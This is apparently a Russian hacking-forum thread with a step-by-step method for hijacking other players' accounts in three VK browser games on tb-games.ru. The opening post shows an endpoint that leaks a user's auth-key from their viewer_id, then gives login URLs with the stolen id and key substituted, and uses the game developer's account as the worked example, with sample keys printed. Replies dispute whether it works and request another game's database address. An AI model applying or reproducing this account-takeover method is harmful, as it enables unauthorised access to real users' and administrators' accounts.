[Баг] Короли Улиц, Military Assault, Survival - Получаем любой Auth-key - Играем

[danil7496]

И так... С помощью auth-key можно зайти на чужой аккаунт.

Игры(КЛИКАБЕЛЬНО)
[Ссылки могут видеть только зарегистрированные пользователи. ]
[Ссылки могут видеть только зарегистрированные пользователи. ] ФИКС
[Ссылки могут видеть только зарегистрированные пользователи. ] ФИКС

В этих трех играх есть практически одинаковый GET запрос.
tb-games.ru/игра/csdisplay.php?viewer_id= ID - тоесть если мы отправим запрос типа tb-games.ru/kos/csdisplay.php?viewer_id= 218208100 - Тут ваш ID
То мы получем информацию о пользователе из БД
Guest_31412 - Имя
218208100 - id
8284d310f50a5974961df09ebe213ab3 - auth-key
и т.д

URL игр
Короли Улиц - tb-games.ru/kos/csdisplay.php?viewer_id= ID
Military Assault - tb-games.ru/ma/csdisplay.php?viewer_id= ID ФИКС
Survival - tb-games.ru/survival_vk/csdisplay.php?viewer_id= ID ФИКС

Подставляем id(циферки) получаем auth-key
id - берем из группы.
Главное чтоб он(она) играл(ла) в эту из трех игр.
Допустим хочу зайти на аккаунт админа игры Military Assault - Значит я беру его ID

Играем на чужом аккаунте.

Короли Улиц
URL будет таков:
tb-games.ru/kos/index.html?api_url=http://api.vk.com/api.php&api_id=3965925&viewer_id= ТУТ ВАШ ID &auth_key= ТУТ ВАШ AUTH-KEY &language=0

В это url нам нужно изменить два параметра: viewer_id= и auth_key=


Military Assault
URL будет таков:
tb-games.ru/ma/index.html?api_url=http://api.vk.com/api.php&api_id=3663526&viewer_id= ТУТ ВАШ ID &auth_key= ТУТ ВАШ AUTH-KEY &language=0

В это url нам нужно изменить два параметра: viewer_id= и auth_key=


Survival
URL будет таков:
tb-games.ru/survival_vk/index.html?api_url=http://api.vk.com/api.php&api_id=4217832&viewer_id= ТУТ ВАШ ID &auth_key= ТУТ ВАШ AUT-KEY &language=0

В это url нам нужно изменить два параметра: viewer_id= и auth_key=


[Ссылки могут видеть только зарегистрированные пользователи. ](Кликабельно)
Пример:
Игра Military Assault
Я хочу зайти на аккаунт игры админа
Заходим в группу игры смотрим контакты
Oldman Tb-Group Разработчик - То что нужно
Переходим к нему на страницу и копируем id
Но там [Ссылки могут видеть только зарегистрированные пользователи. ] - нет цифр
жмем друзья [Ссылки могут видеть только зарегистрированные пользователи. ]id=218208100&section=all - и копируем id
у нас есть id вставляем его в url tb-games.ru/ma/csdisplay.php?viewer_id=
Переходим по url
Жмем Ctrl-U(Исходник так будет проще)
1 Строка это имя
2 это id
3 Auth-key
и т.д
Копируем Auth-key и ID
И вставляем в этот url:
tb-games.ru/ma/index.html?api_url=http://api.vk.com/api.php&api_id=3663526&viewer_id= ТУТ ВАШ ID &auth_key= ТУТ ВАШ AUTH-KEY &language=0

Вставяем id и auth-key

tb-games.ru/ma/index.html?api_url=http://api.vk.com/api.php&api_id=3663526&viewer_id=218208100&auth_ke y=232bda1131e81c8a3fdcb54645cc7f61&language=0

Вставяем свой url в адресную стороку браузера
Играем

[danil7496]

Цитата: Сообщение от AnOnYmUsS Молодец, постарался, но хочу разочаровать! Давай начнем с игры Короли Улиц... В эту игру под чужим auth-key зайти нельзя, заходит только в главное меню игры, на саму локацию не заходит, будет просто черный экран, короче карты не загрузит, проверено лично мной и не которыми товарищами! Теперь про игру Survival... В этой игре почти такая же ситуация как и в игре Короли Улиц, можно зайти в игру под чужим auth-key, даже заходит на локацию, тобиш карту, но когда заходим в инвентарь или как там правильнее выразится (рюкзак) то видим свои вещи, то есть смысла от этого бага ноль, если бы реально заходили на чужой ак под левым auth-key то в рюкзаке были бы другие вещи и т.д! Что на счет игры Military Assault... Не стали проверять баг, так как мы уверены на все 100% что там та же самая ситуация что и выше перечисленных играх! Вообщем не буду многословить, тестируйте и сами все поймете, что баг пустышка!

[Ссылки могут видеть только зарегистрированные пользователи. ] Смотри внимательно

[[asyven]]

Круто спасибо. А можешь к этой игре найти адрес к бд?
[Ссылки могут видеть только зарегистрированные пользователи. ] вот адрес приложения realplay.com.ua/embed/vk.cm.app

[ghjcnj nfr 05]

Привет. Что делать? У меня не робит((( Пишет error:aad62841dead4c5f8d867cd3447c0161. Спасибо.